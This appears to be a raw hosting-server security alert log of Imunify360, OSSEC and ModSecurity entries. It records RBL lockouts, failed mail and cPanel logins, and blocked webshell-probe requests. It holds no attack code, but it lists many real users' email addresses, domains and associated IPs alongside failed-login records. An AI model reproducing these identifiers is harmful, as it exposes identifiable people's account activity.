name: Imunify PAM. The IP has been locked by RBL
abuser: 37.203.49.129
country_id: 2963597
description:
Jan 22 09:30:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.203.49.129 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.125.116
country_id: 690791
description:
Jan 22 09:30:22 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.125.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.45.85.146
country_id: 798544
description:
Jan 22 09:30:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.45.85.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.107
country_id: 3175395
description:
Jan 22 09:31:04 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.107 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.173.9.6
country_id: 298795
description:
Jan 22 09:33:42 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.173.9.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.173.9.6
country_id: 298795
description:
2026-01-22 09:33:44 dovecot_login authenticator failed for H=([95.173.9.6]) [95.173.9.6]:58304: 535 Incorrect authentication data (set_id=info@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-22 09:34:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:64935: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 118.100.95.65
country_id: 1733045
description:
[2026-01-22 09:35:00 +0800] info [webmaild] 118.100.95.65 - khadijah@euratech.com.my "POST /cpsess5402860626/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [118.100.253.169] != Current IP Address [118.100.95.65]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 208.168.232.48
country_id: 3580718
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/pig/12/284/1259981 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.145.6.38
country_id: 1643084
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/build/539/297086 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.163.135.94
country_id: 3895114
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=1&sub=30 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.5.109.115
country_id: 2186224
description:
Jan 22 09:38:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.5.109.115 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.179.156.251
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=5&sub=27 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.196.68
country_id: 3469034
description:
Jan 22 09:39:13 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.196.68 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.205.223.249
country_id: 3469034
description:
Jan 22 09:40:27 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.205.223.249 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.52.137.110
country_id: 1733045
description:
[2026-01-22 09:40:32 +0800] info [webmaild] 60.52.137.110 - salwana@pftfood.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.106.141.212
country_id: 2963597
description:
Jan 22 09:40:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.106.141.212 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.76.39.53
country_id: 3469034
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/resize.php?h=463&img=img/product_photos/942456.jpg&w=555 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.87
country_id: 3469034
description:
Jan 22 09:40:25 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.206
country_id: 3469034
description:
Jan 22 09:41:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.106.143.52
country_id: 2963597
description:
Jan 22 09:41:31 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.106.143.52 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.122.128.202
country_id: 3865483
description:
Jan 22 09:44:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.122.128.202 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - mustapa@astlog.com.my [01/22/2026:01:47:15 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: mustapa@astlog.com.my


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 147.182.184.114
country_id: 6252001
description:
2026-01-22  9:47:45 520273 [Warning] Aborted connection 520273 to db: 'unconnected' user: 'unauthenticated' host: '147.182.184.114' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.5.47.28
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/park/16/461/1610779 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 159.89.84.190
country_id: 6252001
description:
2026-01-22  9:47:45 520274 [Warning] Aborted connection 520274 to db: 'unconnected' user: 'unauthenticated' host: '159.89.84.190' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.66
country_id: 732800
description:
Jan 22 09:49:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.66 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.22.51
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=32081516674691 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.60.171
country_id: 953987
description:
Jan 22 09:49:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.60.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.72.68.102
country_id: 1733045
description:
2026-01-22 09:50:45 dovecot_plain authenticator failed for H=(MarsPaint01) [180.72.68.102]:65527: 535 Incorrect authentication data (set_id=yeewen@aoto.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.189.225.149
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=17691515121090 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.249.163.79
country_id: 3996063
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=499351 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.121.174.113
country_id: 1269750
description:
Jan 22 09:51:35 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.121.174.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.28.126
country_id: 2300660
description:
Jan 22 09:51:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.28.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.28.126
country_id: 2300660
description:
Jan 22 09:52:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.28.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.34
country_id: 3469034
description:
Jan 22 09:52:24 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.82.240.230
country_id: 3469034
description:
Jan 22 09:52:50 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.82.240.230 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.82.240.230
country_id: 3469034
description:
Jan 22 09:52:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.82.240.230 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.177.69.113
country_id: 1562822
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/index.php/uk/recognition.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.6.5.83
country_id: 3932488
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/3-Reasons-to-Maintain-Commercial-Kitchen-Appliances.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.10.70.201
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/hope/11/638/1123485 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.64.95.62
country_id: 3865483
description:
Jan 22 09:54:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.64.95.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-22 09:56:13 H=([45.144.212.50]) [45.144.212.50]:57592 F=<azlan@permalanka.lk> rejected RCPT <astklia@astlog.com.my>: No Such User Here


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.25.29.165
country_id: 3932488
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/training-details.php?id=449036 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.55.68.115
country_id: 3686110
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/activity-details.php?id=607635 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.244.247
country_id: 798544
description:
Jan 22 09:58:56 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.244.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.1
country_id: 3175395
description:
Jan 22 09:58:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.1 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.162.166.77
country_id: 1562822
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/listing-details.php?id=70239798 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.244.247
country_id: 798544
description:
Jan 22 09:59:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.244.247 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.197.57.71
country_id: 1733045
description:
2026-01-22 10:00:00 H=([127.0.0.1]) [103.197.57.71]:43850 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<etenancy@manforce.my> A=dovecot_plain:etenancy@manforce.my rejected RCPT <manager@example.com>: The mail server could not deliver mail to manager@example.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.72.90.229
country_id: 1733045
description:
2026-01-22 10:00:44 dovecot_plain authenticator failed for H=(MarsPaint01) [180.72.90.229]:65526: 535 Incorrect authentication data (set_id=yeewen@aoto.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.54
country_id: 690791
description:
2026-01-22 10:01:19 H=([45.144.212.54]) [45.144.212.54]:50271 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<mertul@kit-fa.com> rejected RCPT <munch@nexuscollection.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-22 10:02:32 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess9850386286/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.106.2
country_id: 3175395
description:
Jan 22 10:02:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.106.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.242
country_id: 3469034
description:
Jan 22 10:02:51 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-22 10:02:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:50325: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/img/druma_photos/luxury-interior-design-service-malaysia.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.97.42
country_id: 3469034
description:
Jan 22 10:03:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.97.42 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-22 10:03:32 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess9850386286/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/images/video.php||SC:/home/indfinitydesign/public_html/images/video.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.242
country_id: 3469034
description:
Jan 22 10:02:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.242 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.7.229
country_id: 690791
description:
Jan 22 10:03:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.7.229 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.124.75
country_id: 690791
description:
Jan 22 10:03:09 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.124.75 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-22 10:04:32 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess9850386286/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.80.101.59
country_id: 1168579
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-foundation/Tests/FileBagTest.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/images/index.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 108.171.192.162
country_id: 6252001
domain: ocned.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.64||T:APACHE||RA:108.171.192.162||TA:108.171.192.162||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.41
country_id: 3865483
description:
Jan 22 10:07:40 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.129.121
country_id: 99237
description:
Jan 22 10:07:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.129.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.10.70.123
country_id: 298795
description:
Jan 22 10:08:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.10.70.123 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.207.7.106
country_id: 1269750
description:
Jan 22 10:08:18 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.207.7.106 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-22 10:08:27 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess9850386286/3rdparty/roundcube/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=5519&_mbox=INBOX&_framed=1&_action=preview HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-22 10:09:32 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess9850386286/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.104.209
country_id: 3469034
description:
Jan 22 10:09:49 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.104.209 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.104.209
country_id: 3469034
description:
Jan 22 10:09:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.104.209 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-22 10:10:04 H=([45.144.212.242]) [45.144.212.242]:50743 F=<lynnied@mhtc.net> rejected RCPT <munch@nexuscollection.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.37.30
country_id: 953987
description:
Jan 22 10:10:13 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.37.30 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 92.71.72.92
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-13.92.71.72.92||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.75
country_id: 3175395
description:
Jan 22 10:14:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.21.11
country_id: 2300660
description:
Jan 22 10:14:19 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.21.11 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.63.203.99
country_id: 2264397
domain: www.sutsb.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.sutsb.com.my/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 107.214.111.211
country_id: 6252001
domain: www.sutsb.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.sutsb.com.my/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/img/demos/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 57.128.245.99
country_id: 798544
description:
Jan 22 10:19:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 57.128.245.99 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.82.55.80
country_id: 3469034
description:
Jan 22 10:19:58 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.82.55.80 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 57.128.245.99
country_id: 798544
description:
2026-01-22 10:19:59 dovecot_plain authenticator failed for H=vps-76f33a45.vps.ovh.net (nonsfuls) [57.128.245.99]:34178: 535 Incorrect authentication data (set_id=info@solidfence.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.180
country_id: 298795
description:
Jan 22 10:20:20 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.180 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/portfolio/img/img/img/img/img/demos/about.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.168.193
country_id: 3175395
description:
Jan 22 10:21:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.168.193 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/news-n-events/img/img/demos/img/img/img/img/clientele.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.186
country_id: 298795
description:
Jan 22 10:22:13 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.216.88.160
country_id: 3469034
description:
Jan 22 10:23:39 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.216.88.160 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.182.191
country_id: 3175395
description:
Jan 22 10:23:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.182.191 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.182.191
country_id: 3175395
description:
Jan 22 10:24:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.182.191 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.34.200
country_id: 2395170
description:
Jan 22 10:24:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.34.200 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.215.133
country_id: 933860
description:
Jan 22 10:24:13 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.215.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.69
country_id: 3865483
description:
Jan 22 10:24:25 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.69 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.6.131.7
country_id: 3469034
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/portfolios/sunway-serene-2/ HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 10.1.14.100
description:
